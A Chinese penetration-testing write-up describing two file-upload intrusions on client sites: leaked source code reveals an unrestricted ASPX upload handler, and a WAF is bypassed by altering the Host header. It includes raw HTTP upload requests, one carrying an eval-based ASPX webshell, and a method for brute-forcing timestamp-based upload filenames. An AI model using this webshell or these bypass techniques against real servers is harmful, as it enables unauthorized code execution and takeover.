<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰 | 一次運氣很好的文件上傳繞過

    VSole2021-10-13 09:26:38

    某天客戶丟來了兩個站點,白天摸魚日站,發現日不動。晚上做夢還想著它,明天要怎么交差,于是在夢里發生了這次滲透。

    站點1:文件上傳

    發現源代碼泄露

    打開自己珍藏已久的辣雞字典,掃描發現存在bin.zip信息泄露,嘗試進行代碼審計

    文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload

    找到ProccessRequest接收請求,可以看到獲取了一堆參數后(初始化),后進入了HandleFiles方法,

    跟進HandleFiles進行處理,如果dateType=ZBJHSB時,就繼續處理請求,dateType為GET傳參

    路徑為/Uploads/SetData/ZBJHSB,str名稱為時間戳,且str2(后綴)沒有進行限制就進行保存,

    OK,這應該是一個妥妥的任意文件上傳了,只要有返回值,那么這個站就沒了。但是很不湊巧的是,他沒有返回值。

    由于方法fileUpload,瞎猜文件名為

    fileUpload.aspxfileUpload.ashxfileUpload.asmxfileUploads.aspxfileUploads.asmxfileUploads.ashxUpload.....等
    

    加上自己現有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx

    直接構造上傳表單,這里Form里的name字段應該是沒有具體設置的(代碼里沒有找到),發包后返回200,可能真的傳上去了吧?

    POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1Host: xxx.cn:6039Content-Length: 195User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8Accept: */*Connection: close
    ------WebKitFormBoundarySVkAJfiOUeRxhsu8Content-Disposition: form-data; name="File"; filename="1.aspx"Content-Type: image/jpeg
    11111111111------WebKitFormBoundarySVkAJfiOUeRxhsu8--
    

    之前我們看到使用的格式為yyyyMMddHHmmssfff作為文件名,然后直接截取后綴作為ext,而且我們有了具體的路徑,那么只需要爆破時間戳文件名即可拿下該站點,以前還沒有這么做過,不妨試試。

    爆破時間戳

    使用Powershell生成時間戳,然后此時在Burp按下go發送請求包

    powershell -c Get-Date -Format yyyyMMddHHmmssfff
    

    再爆破后面5位數字,也就是ssfff(由于電腦上的時間不一定準,有時候甚至可能要爆破6位)

    不知道等了多久

    運氣真好,后面的就不多說了。

    站點2:文件上傳

    找到上傳接口

    打開網站http://xxxx:880/zwwpt/#/就發現存在一個webpack debug模式未關閉,查看JS發現上傳接口

    http://xxxxxx:880/zwwpt/data/menuData.json
    

    發現了一個隱藏的html頁面,這個頁面在前端的功能點是點不到的。

    http://xxxxxx:880/jtwxt/xgjt/security_risk.html
    

    點擊附件上傳抓包

    發現存在waf,當攔截住waf的時候,會返回404,大概數據包就是這樣(省略了一些其他的無用參數)

    POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cn:880Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"Content-Type: image/jpeg
    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
    

    繞過

    修改HOST:

    xxxx.cn:880為xxxx.cn或xxx.cn:8888(不為880端口應該都可以)

    POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cnCookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspxContent-Type: image/jpeg
    1111------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
    

    成功饒過waf,上傳成功,但是沒有返回路徑

    尋找路徑

    但是之前爆破目錄找到了/uploads/目錄和/image/目錄

    而且發現html名為security_risk.html,構造路徑securityrisk、security_risk、security等,然后跑了一下目錄

    最終發現存在:

    http://xxx.cn:880/uploads/securityrisk/ 這個目錄

    猜測可能上傳的文件很有可能在該目錄下,不然沒必要起這么像的名字吧,而且還叫upload,于是嘗試直接訪問剛剛的文件名1.txt,返回是404

    http://xxx.cn:880/uploads/securityrisk/1.txt
    

    爆破時間戳

    根據自己微不足道的經驗,dot.net架構的網站喜歡使用時間戳來命名,因此構造當前時間戳,嘗試爆破上傳時間附近的時間點的時間戳值。

    時間戳一般為10位或者13位

    文件上傳后強制轉換的文件名命名規律一般有

    1、隨機字符串

    xxx-xxx-xxx--xxx.jpg 格式這種類型我們沒法猜,如果沒目錄遍歷或者返回路徑那么基本上只能放棄
    

    2、時間戳類型

    直接以時間戳+.jpg為文件名(如1631868676.jpg)時間戳+00001時間戳+0001時間戳+001時間戳+01時間戳
    

    3、yymmddHHmm類型

    這種類型一般以20210917xxxxx這種格式,xxxx應該為毫秒級別的數字,我們可以直接使用Burp進行爆破跑,4——6位還是可能跑的出來的,再多就跑不出來了。


    powershell -c Get-Date -Format  yyyyMMddHHmm
    

    yyyyMMddHHmmssfffyyyyMMddHHmmssfff+00001yyyyMMddHHmmssfff+0001yyyyMMddHHmmssfff+001yyyyMMddHHmmssfff+01yyyyMMddHHmmssfff
    yyyyMMddHHmmssyyyyMMddHHmmss+00001yyyyMMddHHmmss+0001yyyyMMddHHmmss+001yyyyMMddHHmmss+01yyyyMMddHHmmss
    

    整理好了思路我們就開始爆破吧,我們只需選擇在Burp發包時記住當前

    時間,然后獲取當前時間戳,然后使用Burp intruder爆破來跑,一個一個的整理過去,大概需要重復操作15次,每次我就選擇最后5位數字來進行爆破(只要網站不掛,不疏漏每一種類型應該是沒什么問題的)

    經過大量爆破后,發現了上傳的文本文件,格式內容為

    yyyyMMddHHmmss+0001

    成功找到路徑后,后面的就無需多言了

    但是這種方法還是比較靠運氣的,因為很有可能當前服務器的時間和目標網站的
    時間不一致,比如差個幾個小時,甚至差個幾天這種情況。
    如果為yyyyMMddHHmmssfff的情況,那基本是沒辦法了,自認倒霉
    如果是yyyyMMddHHmmss的情況,那么爆破6位數字,還是可能爆破出來的。
    

    至此,兩個站都拿到了權限,夢醒了。

    時間戳文件上傳
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    萬一猜對了,就可以直接上傳webshell了。當構造出如上圖包體時,該頁面提示“文件上傳成功!”。
    某天客戶丟來了兩個站點,白天摸魚日站,發現日不動。晚上做夢還想著它,明天要怎么交差,于是在夢里發生了這次滲透。但是很不湊巧的是,他沒有返回值。爆破時間使用Powershell生成時間,然后此時在Burp按下go發送請求包powershell -c Get-Date -Format yyyyMMddHHmmssfff. 發現了一個隱藏的html頁面,這個頁面在前端的功能點是點不到的。
    通過找源碼代碼審計后getshell。測試在某次測試過程中發現,通過泄漏的md5進入后臺,在后臺配置中有處“上傳logo”的功能。會提示“上傳失敗”。只有正常圖片+圖片后綴 會返回圖片路徑。第一行 導入命名空間“phpWeChat” 內的 Upload 類,下面是引用包含一些文件。再往下,$action是用于下面 switch函數內做索引匹配而調用不同功能的。$action的值是通過 GET方式獲取 “action”參數的值。
    摩訶草,又名Hangover、Patchwork、白象等,奇安信內部跟蹤編號為APT-Q-36,最早由國外安全廠商Norman披露并命名為Hangover,2016年8月其他廠商后續披露了摩訶草組織的詳細報告。國內其他安全廠商通常也稱其為“白象”。該APT組織被廣泛認為來自南亞地區某國,其最早攻擊活動可以追溯到2009年11月,從2015年開始變得更加活躍。該組織主要針對Windows系統進行攻
    都不認識的話默認情況下是plain/text處理。答案是認識的后綴名們都被記錄到一個叫mime.types的文件中了。這里要說的是有些情況下的mime.types沒有提供對php的解析方法,對php的解析規則放在另一個文件,Windows下在/conf/extra/httpd-php.conf。
    01 Bucket 公開訪問 騰訊云存儲桶的訪問權限默認為私有讀寫權限,且存儲桶名稱會帶上一串時間
    實戰中遇到過這樣一個案例,一個輸入密碼正確后會302跳轉到后臺頁面的登錄口存在盲注,但登錄數據有加密,無法使用sqlmap完成自動注入的過程,于是想編寫python腳本自動化完成這個過程。
    通常我們在滲透過程中從外圍打點進入內網后拿到主機提升到system權限,這一臺主機就已經拿下。但是我們進入內網的目標還是拿下盡可能多的主機,這時候選擇橫向移動的方法就尤為重要。今天就對一些常用的橫向手法進行一個總結,有不足之處歡迎師傅們進行斧正。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类